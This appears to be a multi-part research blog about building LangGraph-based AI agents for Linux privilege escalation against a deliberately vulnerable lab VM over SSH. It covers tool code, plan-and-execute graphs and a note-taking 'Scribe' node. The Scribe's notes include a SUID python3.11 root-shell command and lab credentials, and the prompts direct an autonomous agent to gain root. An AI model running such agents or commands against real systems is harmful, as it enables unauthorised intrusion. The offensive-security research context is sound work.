Skip to content

Blog

The Journey to Adding a Scribe

As our plan-and-execute architecture evolved, we encountered a pivotal challenge: managing the ever-growing context within our Language Learning Models (LLMs).

Initially, our system thrived on a straightforward workflow, but as tasks became more complex, we need a way to efficiently handle and retain crucial information without overwhelming the LLMs (or us humans in the loop). This is where the Scribe node comes in, marking a significant milestone in our project's journey.

Why We Added a Scribe Node to Take Notes

In our initial setup, the planner and executor nodes worked together to formulate and execute plans based on a rather simple feedback loop. However, as the complexity of tasks increased, the need for a systematic way to capture and store and condense information became evident.

The Scribe node was introduced to address this very need. By automatically taking notes of every significant step and interaction, the Scribe ensures that valuable information is preserved throughout the execution process. This not only provides a clear high level transcript but also serves as a reliable reference for future planning and decision-making.

Reducing Context Size for LLMs: Why It Matters

LLMs, while powerful, have inherent limitations in terms of context length. Feeding them with excessively large contexts can lead to diminished performance, increased latency, and higher computational costs. By integrating the Scribe node, we strategically harvest essential information from the active context to a structured note. This reduction in context size ensures that the LLMs operate within their optimal parameters, maintaining efficiency and accuracy. Moreover, it prevents the model from getting bogged down by redundant or irrelevant information, allowing it to focus on what's truly important.

Step-by-Step Guide to Implementing the Scribe Node

Integrating the Scribe node into our existing architecture involves a series of methodical steps. Below is a comprehensive guide to help you navigate this integration seamlessly.

1. Understanding the Scribe's Role

Before diving into the implementation, it's crucial to grasp the Scribe's responsibilities:

  • Note-Taking: Automatically record significant events, tool responses, and decisions made by the executor.
  • Context Management: Store notes in a structured format to reduce the active context size for the LLMs.
  • Facilitating Replanning: Provide the Replanner node with accurate and concise information to refine future plans.
2. Implementing the Scribe Function

The core of the Scribe node lies in its ability to process and store notes effectively. Here's how it's implemented in executor_and_scribe.py:

class State(TypedDict):
    notes: str
    messages: Annotated[list, add_messages]
First we define a new State that includes a notes field. This is where the scribe will store our notes.

def scribe(state: State):
    if messages := state.get("messages", []):
        mission = messages[0].content
        tool_call = messages[-2].tool_calls[0]
        tool_response = messages[-1].content
    notes = state.get("notes", f"The task is {mission}")
    return {"notes": llm.invoke(f""" You are tasked with taking notes of everything we learned about this linux system in a structured way.
                                Keep your notes containing only hard facts in markdown and prune them regularly to only keep relevant facts.
                                Try to stay within 25 Lines only write about things we know not about the task.
                                Here are your current notes:
                                {notes} 
                                Here is a tool we called {tool_call} 
                                which gave us this output {tool_response}""").content}

This function performs the following actions:

  • Extracting Information: Retrieves the mission statement (first prompt made), the last tool call, and the output that the tool call returned.
  • Generating Notes: Utilizes the LLM to format and update the notes, ensuring they remain concise and relevant.
  • Returning Updated State: Outputs the updated notes to be stored in the shared state.

Let's break down the scribe prompt:

f"""You are tasked with taking notes of everything we learned about this linux system in a structured way.
Keep your notes containing only hard facts in markdown and prune them regularly to only keep relevant facts.
Try to stay within 25 Lines only write about things we know not about the task.
Here are your current notes:
{notes} 
Here is a tool we called {tool_call} 
which gave us this output {tool_response}"""

This prompt is used to generate the notes. Telling it to stick with markdown and prune the notes to only keep relevant facts will keep the notes from getting too long and cluttered. It will also come in handy later when we present the notes to the user.

3. Wiring the Scribe into the Workflow

To ensure the Scribe operates seamlessly within our graph, we need to integrate it as a node in the state graph. There are multiple ways to go about this but we decided to add the Scribe node as a node in the graph right after the tools node.

And within the graph builder:

graph_builder.add_node("scribe", scribe)
graph_builder.add_edge("tools", "scribe")
graph_builder.add_edge("scribe", "chatbot")

This setup ensures that after a tool is executed, the Scribe processes the outcome before returning control to the executor.

4. Testing the Scribe Integration

After implementing the Scribe node, it's essential to validate its functionality. Run the agent and monitor the notes panel to ensure that notes are being captured and updated correctly. Here's a snippet from the main execution flow:

    events = graph.stream(
        input={
            "messages": [
                ("user", template),
            ]
        },
        config={
            "configurable": {"thread_id": "1"}
        },
        stream_mode="values"
    )

    # Use Live to update the layout dynamically
    with Live(layout, console=console, refresh_per_second=10):
        for event in events:
            if "notes" in event:
                # Update the notes content and the right panel
                notes_content = event["notes"]
                layout["right"].update(Panel(Markdown(notes_content), title="Notes"))

This block ensures that the notes are displayed in real-time, providing a clear overview of the information being captured.

Here is a video of the Scribe in action, you can reproduce it by running python src/executor_and_scribe.py:

5. Managing Shared State with the Scribe

Let's move from our small example to a more complex one by integrating the Scribe into the plan_and_execute graph: Our shared state (PlanExecute) must accommodate the notes taken by the Scribe. Here's the updated structure:

class PlanExecute(TypedDict):
    input: str  # the initial user-given objective
    plan: List[str]
    past_steps: Annotated[List[Tuple], operator.add]
    response: str  # response from the agent to the user
    notes: str  # structured notes from the Scribe

By including the notes field, all nodes within the graph can access and update the notes as required.

6. Enhancing the Replanner with Scribe Notes

The Replanner leverages the notes to refine future plans. Here's an excerpt showcasing this integration:

replanner_prompt = ChatPromptTemplate.from_template(
    """For the given objective, come up with a simple step by step plan. \
This plan should involve individual tasks, that if executed correctly will yield the correct answer. Do not add any superfluous steps. \
The result of the final step should be the final answer. Make sure that each step has all the information needed - do not skip steps.

Your objective was this:
{input}

Your original plan was this:
{plan}

You have currently done the follow steps:
{past_steps}

Your notes are:
{notes}

Update your plan accordingly. If no more steps are needed and you can return to the user, then respond with that. Otherwise, fill out the plan. Only add steps to the plan that still NEED to be done. Do not return previously done steps as part of the plan.

If you were not able to complete the task, stop after 15 planning steps and give a summary to the user.
"""
)

Notice the inclusion of {notes} in the prompt, allowing the Replanner to make informed decisions based on the accumulated notes.

Conclusion

Let's take a look at the notes after we finished our run:

    # Linux System Notes

    ## User Information
    - Current user: `lowpriv`
    - User password: `trustno1`
    - User privilege: Low-privilege
    - User ID: `uid=1001(lowpriv)`
    - Group ID: `gid=1001(lowpriv)`
    - Groups: `1001(lowpriv)`

    ## Authentication
    - SSH login successful with provided credentials (`lowpriv` / `trustno1`).
    - User `lowpriv` is not root.

    ## Privilege Escalation
    - Successful privilege escalation to root using SUID binary `/usr/bin/python3.11`.
    - Command used: `python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'`.

    ## SUID Binaries
    - Identified SUID binaries:
    - `/usr/bin/python3.11` (used for privilege escalation)
    - `/usr/bin/newgrp`
    - `/usr/bin/chfn`
    - `/usr/bin/gpasswd`
    - `/usr/bin/chsh`
    - `/usr/bin/passwd`
    - `/usr/bin/sudo`
    - `/usr/bin/mount`
    - `/usr/bin/su`
    - `/usr/bin/find`
    - `/usr/bin/umount`
    - `/usr/lib/openssh/ssh-keysign`
    - `/usr/lib/dbus-1.0/dbus-daemon-launch-helper`

    ## Next Steps
    - Verify system access and capabilities as root.
    - Document any additional findings or configurations.
The Scribe agent was able to reduce the vast output of our tool calls into a concise fact sheet. Depending on the recursion-limit we set to our executor this can be the result of multiple thousend lines of command line output.

This structured approach to note-taking paves the way for more sophisticated and efficient planning mechanisms, setting the stage for future advancements in our journey to multi-step attack planning. As we continue to refine and expand our system, the Scribe will undoubtedly play a pivotal role in ensuring that our agents remain informed, agile, and capable of tackling increasingly complex tasks.

Adding Plan-and-Execute Planner

All sources can be found in our github history.

When using LLMs for complex tasks like hacking, a common problem is that they become hyper-focused upon a single attack vector and ignore all others. They go down a "depth-first" rabbit hole and never leave it. This was experienced by me and others.

Plan-and-Execute Pattern

One potential solution is the 'plan-and-solve'-pattern (often also named 'plan-and-execute'-pattern). in this strategy, one LLM (the planner) is given the task of creating a high-level task plan based upon the user-given objective. The task plan is processed by another LLM module (the agent or executor). Basically, the next step from the task plan is taken and forwarded to the executer to solve within in a limited number of steps or time.

The executor's result is passed back to another LLM module (the replan module) that updates the task plan with the new findings and, if the overall objective has not been achieved already, calls the executor agent with the next task step. The replan and plan LLM modules are typically very similar to each other, as we will see within our code example later.

An advanced version is Gelei's Penetration Task Tree detailed in the pentestGPT paper.

Let's build a simple plan-and-execute prototype, highly influenced by the plan-and-execute langgraph example.

The High-Level Graph

One benefit of using this blog for documenting our journey is that we can do the explanation in a non-linear (regarding the source code) order.

Let's start with the overall graph as defined through create_plan_and_execute_graph:

graphs/plan_and_execute.py: Overall graph
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
def create_plan_and_execute_graph(llm, execute_step):

    def should_end(state: PlanExecute):
        if "response" in state and state["response"]:
            return END
        else:
            return "agent"

    def plan_step(state: PlanExecute):
        planner = planner_prompt | llm.with_structured_output(Plan)
        plan = planner.invoke({"messages": [("user", state["input"])]})
        return {"plan": plan.steps}

    def replan_step(state: PlanExecute):
        replanner = replanner_prompt | llm.with_structured_output(Act)
        output = replanner.invoke(state)
        if isinstance(output.action, Response):
            return {"response": output.action.response}
        else:
            return {"plan": output.action.steps}

    workflow = StateGraph(PlanExecute)

    # Add the nodes
    workflow.add_node("planner", plan_step)
    workflow.add_node("agent", execute_step)
    workflow.add_node("replan", replan_step)

    # set the start node
    workflow.add_edge(START, "planner")

    # configure links between nodes
    workflow.add_edge("planner", "agent")
    workflow.add_edge("agent", "replan")
    workflow.add_conditional_edges("replan", should_end)

    return workflow

The overall flow is defined in line 94 and following. You can see the mentioned nodes: planner, agent (the executor)and replan and a graph that follows the outline described in the introduction.

should_end (line 75) is the exit-condition: if the replanner is not calling the sub-agent (agent), it can only send a message to the initial human (within the field response). The function detects this response and subsequently exits the graph.

Shared State

The shared state describes the data that is stored within the graph, i.e., the data that all our nodes will have access to. It is defined through PlanExecute:

graphs/plan_and_execute.py: Shared State
45
46
47
48
49
class PlanExecute(TypedDict):
    input: str # the initial user-given objective
    plan: List[str]
    past_steps: Annotated[List[Tuple], operator.add]
    response: str # response from the agent to the user

We store the following data:

  • input: the initially given user question/objective, i.e., "I want to become root"
  • response: the final answer given by our LLM to the user question
  • plan: a (string) list of planning steps that need to be performed to hopefully solve the user question
  • past_steps: a list of already performed planning steps. In our implementation this also contains a short summary (given by the execution agent) about the operations performed by the execution agent (stored for each past step).

Graph Nodes/Actions

planner and replan are implemented through plan_step and replan_step respectively. The agent (or executor) is passed in as execute_step function parameter as this allows us to easily reuse the generic plan-and-execute graph for different use-cases.

Planner

Let's look at the planner next. It is implemented as a LLM call using llm.with_structured_output to allow for automatic output parsing into the Plan data structure:

graphs/plan_and_execute.py: Plan data structure
52
53
54
55
56
57
class Plan(BaseModel):
    """Plan to follow in future"""

    steps: List[str] = Field(
        description="different steps to follow, should be in sorted order"
    )

The output is thus a simple string list with the different future planning steps. The LLM prompt itself is defined as:

graphs/plan_and_execute.py: Planner Prompt
12
13
14
15
16
17
18
19
20
21
22
planner_prompt = ChatPromptTemplate.from_messages(
    [
        (
            "system",
            """For the given objective, come up with a simple step by step plan. \
This plan should involve individual tasks, that if executed correctly will yield the correct answer. Do not add any superfluous steps. \
The result of the final step should be the final answer. Make sure that each step has all the information needed - do not skip steps.""",
        ),
        ("placeholder", "{messages}"),
    ]
)

This is rather generic. The initial user question will be passed in as first message within {messages} and that's more or less it.

Replanner

The result of the replanner node action/step wil be following:

graphs/plan_and_execute.py: Replanner data structure
59
60
61
62
63
64
65
66
67
68
69
class Response(BaseModel):
    """Response to user."""
    response: str

class Act(BaseModel):
    """Action to perform."""

    action: Union[Response, Plan] = Field(
        description="Action to perform. If you want to respond to user, use Response. "
        "If you need to further use tools to get the answer, use Plan."
    )

So it's either a user Response (consisting of a string) signalling that we have finished, or an updated Plan (the previously mentioned list of strings) which the executor will act upon next.

Let's look at the prompt:

graphs/plan_and_execute.py: Replanner Prompt
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
replanner_prompt = ChatPromptTemplate.from_template(
    """For the given objective, come up with a simple step by step plan. \
This plan should involve individual tasks, that if executed correctly will yield the correct answer. Do not add any superfluous steps. \
The result of the final step should be the final answer. Make sure that each step has all the information needed - do not skip steps.

Your objective was this:
{input}

Your original plan was this:
{plan}

You have currently done the follow steps:
{past_steps}

Update your plan accordingly. If no more steps are needed and you can return to the user, then respond with that. Otherwise, fill out the plan. Only add steps to the plan that still NEED to be done. Do not return previously done steps as part of the plan.

If you were not able to complete the task, stop after 15 planning steps and give a summary to the user.
"""
)

The prompt's input is the initial objective (input), the current plan containing all future high-level task steps (plan), and a list of previously executed planning steps (plan_steps). In our implementation, each plan_step also contains a LLM-derived summary of the actions performed by the executor while trying to solve the planning step as well as it's results. This should help the replan agent to better update subsequent plans.

We also tell the LLM to stop after 15 high-level task steps and give a final summary to the user. If the objective has been solved before, the LLM will detect this too and auto-magically stop execution.

Agent/Executor

The executor node/function is passed into our generic path as a callback function. This allows to easily modify our generic graph to solve different objectives with their respective specialized executor agents.

Let's start with our simple implementation:

plan_and_execute.py: Executor Function
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
llm2 = ChatOpenAI(model="gpt-4o", temperature=0)
tools = [SshExecuteTool(conn), SshTestCredentialsTool(conn)]
llm2_with_tools = llm2.bind_tools(tools)

def execute_step(state: PlanExecute):
    plan = state["plan"]
    task = plan[0]

    template = PromptTemplate.from_template("""
    You are a low-privilege user {username} with password {password} on a linux system and your goal is to become the root user by executing commands on the remote system.

    To achieve this, focus upon {task}

    Do not repeat already tried escalation attacks. You should focus upon enumeration and privilege escalation. If you were able to become root, describe the used method as final message. Stop after 10 executions. If not successful until then, give a summary of gathered facts.
    """).format(username=conn.username, password=conn.password,task=plan[0])

    # create our simple graph
    graph_builder = create_chat_tool_agent_graph(llm2_with_tools, tools)
    graph = graph_builder.compile()

    events = graph.stream(
        {"messages": [("user", template)]},
        stream_mode='values'
    )

    agent_response = None
    for event in events:
        print_event(console, event)
        agent_response = event

    return {
        "past_steps": [(task, agent_response["messages"][-1].content)],
    }

We are reusing our initial simple agent as executor on line 46. On lines 29-31 we are creating a new connection to OpenAI and configure some SSH-based tools (as mentioned in the original post) for our executor agent. This fully separated the LLM connection, graph history and supported tools from the LLM-configuration used by the plan-and-execute graph and would allow for using different LLMs for the planner and executor respectively.

Starting on line 49 , we execute our sub-agent and output its steps before returning the final step on line 59 as past_steps. This will append our agent's output (which includes a generated summary of its results) to past_steps within our shared state (which will subsequently be used by the replanner agent to refine future planning steps).

Wiring it up and starting it

The only thins left is to wire up everything, provide the initial template and output the occurring events (to see what our LLM agent is doing):

plan_and_execute.py: Starting our Agent
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
workflow = create_plan_and_execute_graph(llm, execute_step)
app = workflow.compile()
print(app.get_graph(xray=True).draw_ascii())

# now start our agent and give it our initial prompt ('get root')
template = PromptTemplate.from_template("""
You are a low-privilege user {username} with password {password} on a linux system and your goal is to become the root user by executing commands on the remote system.

Do not repeat already tried escalation attacks. You should focus upon enumeration and privilege escalation. If you were able to become root, describe the used method as final message.
""").format(username=conn.username, password=conn.password)

# start everything
events = app.stream(
    input = {"input": template },
    config = {"recursion_limit": 50},
    stream_mode = "values"
)

# output all occurring logs
for event in events:
    print_event(console, event)

And that's it! Enjoy your multi-agent driven plan-and-execute architecture!

Improvement Ideas

Before we move further with our exploration of offensive graphs,, we might want to investigate logging and tracing options. As we are now starting subgraphs (or might even run subgraphs/agents in-parallel), traditional console output becomes confusing to follow. Stay tuned!

Simplify our Tool-Calling Agent through create_react_agent

LangGraph has some amazing Prebuilt Components, one of them is the create_react_agent function that allows you to hughely simplify creating new tool-using agents.

The full source code can be found within our github history.

The simplified version

This willb e based upon our recent configuration-improved version. Similar to that version, we start by reading the configuration data, setting up our LLM, connecting to the target system via SSH, and configuring tools for usage through LLMs:

Initial Configuration
10
11
12
13
14
15
16
17
18
19
20
# setup configuration from environment variables
load_dotenv()
conn = get_ssh_connection_from_env()
get_or_fail("OPENAI_API_KEY") # langgraph will use this env variable itself

# connect to the target system over SSH
conn.connect()

# initialize the ChatOpenAI model and register the tool (ssh connection)
llm = ChatOpenAI(model="gpt-4o", temperature=0)
tools = [SshExecuteTool(conn), SshTestCredentialsTool(conn)]

Now we can use the create_react_agent method to create a new agent graph based upon our configured LLM and the known tools:

Using create_react_agent
23
agent_executor = create_react_agent(llm, tools)

All that's left is to create the initial message (as detailed in our initial blog post) and start the agent by calling stream on it while passing the mentioned initial message.

Again we are using events to output all tool calls and decisions that our agent is making.

Starting the agent and output it's messages
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
template = PromptTemplate.from_template("""
You are a low-privilege user {username} with password {password} on a linux system and your goal is to become the root user by executing commands on the remote system.

Do not repeat already tried escalation attacks. You should focus upon enumeration and privilege escalation. If you were able to become root, describe the used method as final message.
""").format(username=conn.username, password=conn.password)


events = agent_executor.stream(
    {
        "messages": [
            ("user", template),
        ]
    },
    stream_mode="values",
)

for event in events:
    if "messages" in event:
        event["messages"][-1].pretty_print()

And that's it! Pretty amazing, when you think about it.

The node/edge graph is exactly the same as in our initial hand-written version.

Improving Configuration Handling, esp. for Tools

While being quite happy that the initial prototype worked within hours, its code was very prototype-y, i.e., much of its configuration was hard-coded. In a second step, we want to fix this by making our target information (the SSH connection) configurable and remove all hard-coded credentials from the code.

Big Picture

We are already using python-dotenv for some of our configuration so it makes sense to further utilize this for more configuration data. In the improved implementation, our .env will look like this:

.env: Example configuration
OPENAI_API_KEY='secret openai API key'

TARGET_HOST=192.168.121.112
TARGET_HOSTNAME='test-1'
TARGET_USERNAME='lowpriv'
TARGET_PASSWORD='trustno1'

The prototype will read this for configuration data. With this, the initial part of the problem (getting the configuration data) should be solved, leaving the second part: how to use the configuration data within our tools?

After looking into the @tool annotation for functions, this did not look like the perfect approach. Instead we opted towards subclassing BaseTool. This allows us to configure our tool-class through its standard constructor, i.e., pass the SSHConnection into it, and then use the connection when the tool sis called by the LLM through its _run() method.

You can find the resulting source code in this github version. Please note, that I had a bug initially (fixed here). I wilkl use the fixed source code within this post to keep things easier to read.

Let's start with our updated tool that will be configurable:

Making our Tool configurable by switching to BaseTool

You can find the full source code at within github. This change was pretty straight-forward.

Instead of writing a function, we now create a class for each tool. We have to subclass BaseTool, the parameters for our tool are now defined in a separate class which is a subclass of BaseModel:

ssh.py: switching to BaseModel
48
49
class SshExecuteInput(BaseModel):
    command: str= Field(description="the command to execute")

Now for the tool class:

ssh.py: switching to BaseModel
51
52
53
54
55
56
57
58
# Note: It's important that every field has type hints. BaseTool is a
# Pydantic class and not having type hints can lead to unexpected behavior.
class SshExecuteTool(BaseTool):
    name: str = "SshExecuteTool"
    description: str = "Execute command over SSH on the remote machine"
    args_schema: Type[BaseModel] = SshExecuteInput
    return_direct: bool = False
    conn: SSHConnection

You can see that we are now using instance variables (name and description) to describe the tool. args_schema points to the class that describes our accepted input parameters. return_direct is set to False. If set to True, langgraph agents will stop when the Tool stops. This is not what we intend, as the output of the Tool should be passed on to the next node in our case.

Finally conn is the SSHConnection that we want to configure and use later on. Next, we set it through the class constructor:

ssh.py: the class constructor
60
61
    def __init__(self, conn: SSHConnection):
        super(SshExecuteTool, self).__init__(conn=conn)

We call the superclass constructor and additionally set the conn instance variable.

Now we can use it within the _run method that will be called when the tool is invoked:

ssh.py: And the Run Method
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
    def _run(self, command:str, run_manager: Optional[CallbackManagerForToolRun] = None) -> str:
        """Run the command over the (already established) SSH connection."""

        # if we trigger a sudo-prompt, try to fill it with our password
        sudo_pass = Responder(
            pattern=r"\[sudo\] password for " + self.conn.username + ":",
            response=self.conn.password + "\n",
        )

        out = StringIO()
        try:
            self.conn.run(command, pty=True, warn=True, out_stream=out, watchers=[sudo_pass], timeout=10)
        except Exception:
            print("TIMEOUT! Could we have become root?")
        out.seek(0)
        tmp = ""
        for line in out.readlines():
            if not line.startswith("[sudo] password for " + self.conn.username + ":"):
                line.replace("\r", "")
                tmp = tmp + line

        print("cmd executed:", command)
        print("result: ", tmp)
        return tmp

Again, please ignore the ugly SSH implementation code but note that we jsut return the result on line 86 as string.

Next step is wiring everything up within our prototype code.

Improving the Configuration Handling

We now have a tool that's configurable while all needed configuration is in the .env file. Let's connect them! First, we introduce a simple helper function that receives an environmental variable or throws an error otherwise:

initial_version.py: environment variable helper
16
17
18
19
20
21
def get_or_fail(name: str) -> str:
    """Get an environment variable or raise an error if it's not set."""
    value = os.environ.get(name)
    if value is None:
        raise ValueError(f"Environment variable {name} not set")
    return value

Now we can use load_dotenv() to load the variables set within .env into our environment and us the helper to retrieve all the needed SSH parameters. With this data we can finally create our SSHConnection. We extracted this into a separate method for readability:

ssh.py: create a new SSH connection
123
124
125
126
127
128
129
def get_ssh_connection_from_env() -> SSHConnection:
    host = get_or_fail("TARGET_HOST")
    hostname = get_or_fail("TARGET_HOSTNAME")
    username = get_or_fail("TARGET_USERNAME")
    password = get_or_fail("TARGET_PASSWORD")

    return SSHConnection(host=host, hostname=hostname, username=username, password=password)

Finally, we can wire everything up within our prototype:

initial_version.py: retrieving configuration data
24
25
26
load_dotenv()
conn = get_ssh_connection_from_env()
get_or_fail("OPENAI_API_KEY") # langgraph will use this env variable itself

Note that we now have a configured SSH connection within conn. When creating the tools for our LLMs, instead of passing the functions (as we did with @tool), we now pass in the instantiated tool-classes which receive the configured SSH connection through their constructor parameters (line 33, we also added a second tool SSHTestCredentialsTool for credential checking):

initial_version.py: Getting all configuration from the env
32
33
34
llm = ChatOpenAI(model="gpt-4o", temperature=0)
tools = [SshExecuteTool(conn), SshTestCredentialsTool(conn)]
llm_with_tools = llm.bind_tools(tools)

We can also use this when configuring our initial user question template:

initial_version.py: using the configuration for templating
76
77
78
79
80
template = Template("""
You are a low-privilege user ${username} with password ${password} on a linux system and your goal is to become the root user by executing commands on the remote system.

Do not repeat already tried escalation attacks. You should focus upon enumeration and privilege escalation. If you were able to become root, describe the used method as final message.
""").render(username=conn.username, password=conn.password)

And that's it.

First Steps and Initial Version

This started when Jürgen contacted Andreas as he needed an automated attacker emulation for one of his defensive projects. Andreas wrote the initial version of hackingBuddyGPT in March 2023 (roughly 18 months ago) and much of the codebase was written for older, less-sophisticated, LLMs. Juergen had experience with LangGraph, so we decided to play around with using langgraph for offensive security.

Scencario and Starting Situation

As an initial example we have chosen Linux Privilege Escalation: in these scenarios, you already have access to a linux system (typically over SSH) as a low-privilege user and want to become the all powerful root user.

As a starting point, we were using both langgaph's quickstart tutorial for rough guidance, as well as Andreas' original SSH connector to connect to a vulnerable virtual machine provided by ipa-lab/benchmark-privesc-linux (also originally written by Andreas).

The following langgraph pages give good background knowledge:

The First Prototype

So as a starting point we want to replicate the functonality of hackingBuddyGPT in the most simple and abstract way. Think of it like this:

Concept

You have a vulnerable VM that allows for the execution of arbitrary commands via SSH. We want to use a LLM (OpenAI GPT4o in this example) to internally think of a strategy and execute commands until our goal of becoming root is reached, in which case we terminate.

This prototype source code can be found in the github history. If you look into the current main branch, the current source code will look differently.

We split the functionality into two files: ssh.py for all the SSH callouts performed by the prototype, and initial_version.py containg the actual prototype logic.

Tool-Calling: enable SSH command execution

Tools allow LLMs to access external operations. In our case, we want LLMs to execute commands over SSH on a remote host. Let's go through parts of the code in ssh.py:

ssh.py: Declare the Tool Function
33
34
35
@tool
def ssh_execute_command(command:str) -> str:
        """ Execute command over SSH on the remote machine """

We initially started by using langchain's @tool annotation (line 33). This will later allow LLMs to call the ssh_execute_command function. It is important to give a good docstring, as this will be automatically be used to explain the purpose of the tool to the LLM. Parameters and output values will automagically be matched too!

ssh.py: Open the SSH connection
37
38
39
40
41
42
        username = 'lowpriv'
        password = 'trustno1'
        host = '192.168.121.112'
        hostname = 'test-1'
        conn = SSHConnection(host=host, hostname=hostname, username=username, password=password)
        conn.connect()

This is ugly hard-coded cruft. We open a SSH connection to a hard-coded target host. We will make this configurable in the next blog post.

ssh.py: Execute a command and return a value
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
        sudo_pass = Responder(
            pattern=r"\[sudo\] password for " + username + ":",
            response=password + "\n",
        )

        out = StringIO()
        try:
            conn.run(command, pty=True, warn=True, out_stream=out, watchers=[sudo_pass], timeout=10)
        except Exception:
            print("TIMEOUT! Could we have become root?")
        out.seek(0)
        tmp = ""
        for line in out.readlines():
            if not line.startswith("[sudo] password for " + username + ":"):
                line.replace("\r", "")
                tmp = tmp + line

        print("cmd executed:", command)
        print("result: ", tmp)
        return tmp

This is the actual code that executes a SSH command and captures it's output. This is also old cruft and hopefully looks better in the current version within the repository.

The import thing to note is line 63: here we return the output of the executed command as string from the fuction. LangChain will take this output and return it to the LLM as result of the tool call.

The Privilege Escalation Prototype

Let's go the 'meat' of the code, the langgraph agent in initial_version.py:

initial_version.py: Setup
16
17
18
19
20
21
22
23
# Load environment variables
load_dotenv()

def _set_env(var: str):
    if not os.environ.get(var):
        os.environ[var] = getpass.getpass(f"{var}: ")

_set_env("OPENAI_API_KEY")

Lots of stuff going on here in the background. We're using python-dotenv through calling load_dotenv. This looks for a .env file in the curent working directory and load environmental variables from it (if they are not already configured within the environment). Variables like these are typically used to pass API-keys and similar to programs.

The one environmental variable in use is OPENAI_API_KEY which is used to connect to OpenAI. Lines 19-23 were copied from the quickstart. They check if the environable variable is set and ask the user for it otherwise. This variable itself will be used by langchain and langgraph itself, so we do not have to do anything with it explicitely.

initial_version.py: Connect to the LLM and setup Tools
26
27
28
llm = ChatOpenAI(model="gpt-4o", temperature=0)
tools = [ssh_execute_command]
llm_with_tools = llm.bind_tools(tools)

Now we create a connection to the LLM (gpt-4o in our case) and register some tools that the LLM is allowed to use. As tool, we are using the ssh_execute_command function we described before.

initial_version.py: Begin with our Graph
31
32
33
34
class State(TypedDict):
    messages: Annotated[list, add_messages]

graph_builder = StateGraph(State)

Now it gets interessting: we start with defining our langgraph graph. Within langgraph, you are using Nodes and Edges. The nodes in your graph are the "action points". Those are the locations, where you perform operations or ask a LLM to decide or perform stuff for you. Within the python code, each node will be implemented as a python function (see below). Edges define, which nodes are allowed to pass on information to other nodes.

The information passed between nodes is stored in the State. In our case, we just use a list of messages. Annotated is from python's typing library and allows us to add some metadata to the messages variable. In this case, we store the method add_messages as meta-data. Langgraph will know through this, that if new messages are added, it will call add_messages to add the messages to the list. In our case, we just have a growing list, but you could implement a sliding window or some sort of compaction/compression mechnism through this.

Finally, we create our graph (named graph_builder). We tell it that State will be used to pass messages.

initial_version.py: Our first node, the LLM call
38
39
def chatbot(state: State):
    return {"messages": [llm_with_tools.invoke(state["messages"])]}

Within those two lines, a lot happens! We define our first graph node (called chatbot as this was copied out of the tutorial). What is it doing? It takes all messages that are stored within the state (state["messages"]) and calls out to the LLM. As the first message in the list (as you will see below) is the task that the LLM should achieve, this will give the LLM the task as well as a history about all other actions that already have been taken.

The output of the LLM (typically a str) will be put into an array (and in turn put into a map), thus the output of the node will be, e.g., { "messages" : [ "the LLM output" ]}. As configured above, the add_messages method will be used to append this to state['messages'].

initial_version.py: Let's build our graph
56
57
58
59
60
61
62
graph_builder.add_node("chatbot", chatbot)
graph_builder.add_node("tools", ToolNode(tools=tools))

graph_builder.add_edge(START, "chatbot")
graph_builder.add_conditional_edges("chatbot", route_tools)
graph_builder.add_edge("tools", "chatbot")
graph_builder.add_edge("chatbot", END)

Let's start with finally creating our graph. We add our LLM-calling node (chatbot) and then add a predefined ToolNode. This is a node that will receive messages about calling tools, e.g., allowing the LLM to interact with the world. To let it know which tools are supported, we pass the same tools into it as we registered with the LLM (makes sense, both should know the same tool calls or would get out-of-sync).

Then we start to create the edges between our nodes. There are special START and END nodes that denote the graphs starting and ending points (d'oh, lines 59 and 62). We connect the chatbot to the tool node on line 60, and connect back the tool node to the chatbot on line 61. So the LLM bot might create a message for the user (the result to the incoming question) or might create a tool-call message. The Tool node would take the tool-call message and interact with the external world and then pass back the result to the LLM node.

This creates an infinite loop and we cannot have that, can we? This is why on line 60 we define a condition edge: this is an edge with a condition that can dynamically select the next action (node) to perform. To do this, we define the route_tools method:

initial_version.py: either call a tool, or quit
41
42
43
44
45
46
47
48
49
50
def route_tools(state: State):
    if isinstance(state, list):
        ai_message = state[-1]
    elif messages := state.get("messages", []):
        ai_message = messages[-1]
    else:
        raise ValueError(f"No messages found in input state to tool_edge: {state}")
    if hasattr(ai_message, "tool_calls") and len(ai_message.tool_calls) > 0:
        return "tools"
    return END

This was copied verbose from the tutorial. In summary, it checks if there's a message within the state. If it has a message and the message is a tool_calls message, i.e., we want to execute an external tool, the next node/action will be our tool node. Otherwise we go to the END node and finish our graph. Why does this work? Well, as long as there are tool calls, the tools will be executed and the results appended to the end of the message log. As soon as the LLM can find an answer, it will send out the answer (not a tool_call), thus the route_tools method will go to the END node.

initial_version.py: finalize the graph!
66
67
memory = MemorySaver()
graph = graph_builder.compile(checkpointer=memory)

Now we create the graph. What is MemorySaver? This stores our state between interactions (gives us a in-memory storage while running our agent).

Now, what to use as our initial message (this will be the first message within our `state['messages'] list and task our LLM to "do stuff"). We're using an adapted prompt from our hackingBuddyGPT prototype:

initial_version.py: The initial user question for the LLM
70
71
72
73
74
template = Template("""
You are a low-privilege user ${username} with password ${password} on a linux system and your goal is to become the root user by executing commands on the remote system.

Do not repeat already tried escalation attacks. You should focus upon enumeration and privilege escalation. If you were able to become root, describe the used method as final message.
""").render(username="lowpriv", password="trustno1")

As this was taken from my old code, it still uses the Mako template engine (could be replaced with a f-String or similar by now). Also, note that we hard-coded the same credentials as within the SSHConnection before, we will fix this in the next blog-post.

The prompt itself is quite simple, isn't it?

initial_version.py: Start and output it
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
events = graph.stream(
    input = {
        "messages": [
            ("user", template),
        ]
    },
    config = {
        "configurable": {"thread_id": "1"}
    },
    stream_mode="values"
)

# output all the events that we're getting from the agent
for event in events:
    if "messages" in event:
        event["messages"][-1].pretty_print()

